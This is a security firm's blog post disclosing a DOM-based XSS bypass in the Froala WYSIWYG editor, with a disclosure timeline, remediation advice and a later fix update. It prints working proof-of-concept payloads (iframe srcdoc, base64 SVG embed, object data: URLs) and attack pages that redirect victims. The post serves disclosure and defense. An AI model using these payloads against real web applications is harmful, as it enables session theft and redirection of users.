Compass Security Blog

Offensive Defense

Yet Another Froala 0-Day XSS

Introduction

Froala WYSIWYG HTML Editor is a lightweight WYSIWYG HTML Editor written in JavaScript that enables rich text editing capabilities for web applications [1]. Froala sanitizes the user input in order to prevent cross-site scripting attacks [2].

During a web application penetration test at Compass, I found a DOM-based cross-site scripting (XSS) [3] in the Froala WYSIWYG HTML Editor. HTML code in the editor is not correctly sanitized when inserted into the DOM. This allows an attacker that can control the editor content to execute arbitrary JavaScript in the
context of the victim’s session.

0-Day

In June 2020, Michał Bentkowski [4] from Securitum [5] released some research about copy-paste XSS [6], which is definitively interesting to read! During his research, he identified an XSS issue in Froala. Froala could not tell Michał when they will fix the issue and so he published it after a while.

I discovered another XSS issue, informed Froala in December 2019 and they told me it will be fixed soon. However, it’s still not fixed at the moment. Froala told me the issue would be fixed in Q2 of 2020 but this was not the case. Now when Q2 has ended and after more than 200 days, I decided to also publish this finding.

Affected

  • All versions of the Froala WYSIWYG HTML Editor

The issue was found in December 2019 in version 3.0.6 and was still not fixed in July 2020 in version 3.1.1.

Technical Summary

It’s possible to perform DOM based XSS in the Froala editor by inserting the <iframe> tag and the srcdoc attribute into the editor:

<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>

This can be verified by inserting the payload into the “Code View” of the editor.

In this case, this is would be a self-XSS because the users would only attack themselves. However, it could be possible that untrusted data from a non-controlled source is loaded into the editor in order to exploit it. An example could be a web application where multiple users can edit the same content using this editor.

You can try it out online here: https://jsfiddle.net/xc4dem53/:

XSS in the Froala HTML Editor

An attacker can use this to execute own JavaScript code in the session of the user. This can be abused to read the content of the victim’s account, use the session to make further requests to the web application or read the cookies or web storage.

Technical Details & PoC

Correct Behavior

According to the Froala tech support page “Why is the <script> tag being removed?”, the <script> tag is removed in order to prevent possible XSS attacks [2]:

Froala help center regarding XSS attacks

Other XSS payloads that use other HTML tags and event handlers are also removed from the DOM before they are inserted.

This can be verified using a PoC hosted on poc.example.net that inserts potentially untrusted data with a <script> tag into the editor:

<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>

<div id="froala-editor"></div>

<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
  // This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
  data = "<s>Hello<\/s><script>console.log(document.domain)<\/script><u>Compass<\/u>";

  // Inserting untrusted data into the editor
  editor.html.set(data);

  // Show how the untrusted data is embedded into the DOM
  console.log(editor.html.get());
})
</script>

You can try it out online here: https://jsfiddle.net/62fczbao/:

The XSS is not triggered.

The JavaScript console shows that legit HTML tags like <s> or <u> were inserted into the DOM but the <script> tag was correctly removed (as expected) and therefore the JavaScript was not executed:

<p><s>Hello</s><u>Compass</u></p>

This is usually where the game starts to find a working XSS, e.g. by inserting an <img> tag with an onerror event handler as an XSS vector:

[...]
data = "<s>Hello<\/s><img src=x onerror=console.log(document.domain)><u>Compass<\/u>";
[...]

You can try it out online here: https://jsfiddle.net/52pxqv1w/:

The XSS is not triggered.

The JavaScript console again shows that the legit HTML tags were inserted and also the <img> tag, but without the used onerror event handler. Therefore, the JavaScript was not executed:

<p><s>Hello</s><img src="x" class="fr-fic fr-dii"><u>Compass</u></p>

This shows that it’s not possible to load and execute common XSS payloads into the editor.

XSS Bypass

I tried every event handler from the awesome PortSwigger XSS cheat sheet [7], but all of them were blocked. Thanks to the XSS cheat sheet, I found an HTML tag with an attribute that does not start with on, which can execute JavaScript in the origin of the website. This tag was not filtered. It’s the <iframe> tag with the srcdoc attribute. The srcdoc attribute specifies the HTML content of the page to show in the inline frame [8]. This can be used to embed JavaScript code. The code runs in the origin of the website where the iframe is embedded.

Working XSS payload:

[...]
data = "<s>Hello<\/s><iframe srcdoc=\"<img src=x onerror=console.log(document.domain)>\"><\/iframe><u>Compass<\/u>";
[...]

You can try it out online here: https://jsfiddle.net/bu6ntxsj/:

The XSS is triggered.

The JavaScript console shows that the <iframe> tag with the srcdoc attribute was inserted into the DOM without sanitizing. Also the content of the iframe with the <img> tag and the onerror event handler was not sanitized. Further, the origin on which the PoC website is hosted is printed:

<p><s>Hello</s><iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe><u>Compass</u></p>
poc.example.net

Therefore, this shows that the following XSS payload can be used in order to inject and execute JavaScript into the DOM, which results in a DOM-based XSS:

<iframe srcdoc="<img src=x onerror=console.log(document.domain)>"></iframe>

Note: The <img> tag with the onerror event handler is only the data content of the srcdoc attribute and no code for the browser. This is rendered into code later when the content of the iframe is built.

The injected JavaScript code runs in the origin of the website where the Froala editor is running. The next section explains why I mention this explicitly.

XSS with Undefined / Empty Origin

There are several issues marked as open and fixed in the Froala GitHub repository regarding XSS [9]. However, most of these XSS are running in another origin as the website where the editor is loaded.

Example #1

For example, the issue #3270 [10] that is marked as closed and uses an embedded object (<embed> tag) in order to execute JavaScript:

XSS issue on GitHub

Example payload:

[...]
data = "<EMBED/SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo=\">"
[....]

The base64 decoded payload is an SVG image containing JavaScript:

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
  <script type="text/ecmascript">console.log(document.domain)</script>
</svg>

You can try it out online here: https://jsfiddle.net/txr6upgc/:

The origin is “undefined”.

The JavaScript console shows that the code is executed but the origin is undefined:

<p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo="></p>
undefined

Example #2

Another example is the issue #3039 [11] that is marked as closed uses the <object> tag to embed HTML / JavaScript code:

XSS issue on GitHub

Example payload (it’s not necessarily needed to base64 encode the payload):

[...]
data = "<object data='data:text/html,<svg onload=console.log(document.domain)>'>";
[...]

You can try it out online here: https://jsfiddle.net/br6dq8uf/:

The origin is empty.

The JavaScript console shows that the code is executed but the origin is empty:

<p><object data="data:text/html,<svg onload=console.log(document.domain)>"></object></p>
// empty line

Exploiting XSS with Undefined / Empty Origins

Because the origin is not the same as where the PoC is hosted, it’s not a typical XSS where an attacker could read the content of the victim’s website, use the session to make further requests or access the cookies or web storage.

It is however still possible to perform arbitrary redirects to other websites using the reference to the window.top.location.

This does not work in JSFiddle for some reason, but you can create the following attack page and host it for yourself.

Redirect using the <object> tag:

<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>

<div id="froala-editor"></div>

<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
  // This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
  data = "<object data='data:text/html,<svg onload=window.top.location=\"http://compass-security.com/\">'>";

 // Inserting untrusted data into the editor
  editor.html.set(data);

  // Show how the untrusted data is embedded into the DOM
  console.log(editor.html.get());
})
</script>

Demo:

Redirect using JavaScript in an <object> Tag

The same can be done using the <embed> tag:

<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>

<div id="froala-editor"></div>

<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
  // This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
  data = "<EMBED/SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj4KICA8c2NyaXB0PndpbmRvdy50b3AubG9jYXRpb249Imh0dHA6Ly9jb21wYXNzLXNlY3VyaXR5LmNvbS8iPC9zY3JpcHQ+Cjwvc3ZnPgo=\">"

 // Inserting untrusted data into the editor
  editor.html.set(data);

  // Show how the untrusted data is embedded into the DOM
  console.log(editor.html.get());
})
</script>

Base64 payload (so you don’t have to escape everything in the attack page):

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
  <script>window.top.location="http://compass-security.com/"</script>
</svg>

Demo:

Redirect using JavaScript in an <embed> Tag

This is not as nice and powerful as the “real” XSS attack from the beginning, but still something 😉.

If you have other ideas of how such limited JavaScript injection can be exploited, let me know in the comments or ping me on Twitter (@mindfuckup)!

Remediation

This XSS issue is not fixed. The vendor can’t tell any exact release date for a fixed version.

Therefore, only trusted data or data that is already sanitized should be loaded into the editor.

Update (2021-04-14)

This XSS was fixed in version 3.2.3:

Release notes for version 3.2.3.

Release: https://github.com/froala/wysiwyg-editor/releases/tag/v3.2.3

The XSS is not triggered anymore. You can try it out here: https://jsfiddle.net/bu6ntxsj/.

Advisory

CSNC-2020-004 Froala WYSIWYG HTML Editor – DOM XSS

References

5 Comments

  1. Kegan Blumenthal

    Hi there,

    The issues have been resolved in the recent 3.2.2 release: https://www.npmjs.com/package/froala-editor. Enjoy!

    • Emanuel Duss

      Hi Kegan

      It does not look like it is fixed. You can try it out the attack here in version 3.2.2: https://jsfiddle.net/7akp2dgh/

      The XSS does still work in 3.2.2.

      Best,
      Emanuel

      • Emanuel Duss

        The issue described in this post was fixed in version 3.2.3. See update chapter in this post.

        • nicecue

          no

          • Emanuel Duss

            Hi

            Are you sure it’s NOT fixed? Please share a link with a Poc ;-).

            My initial payload does not work anymore in the fixed version and I did not find another bypass. If you found another , you should notify Froala so they can fix it.

            Best,
            Emanuel

Leave a Reply to Kegan Blumenthal Cancel reply

Your email address will not be published. Required fields are marked *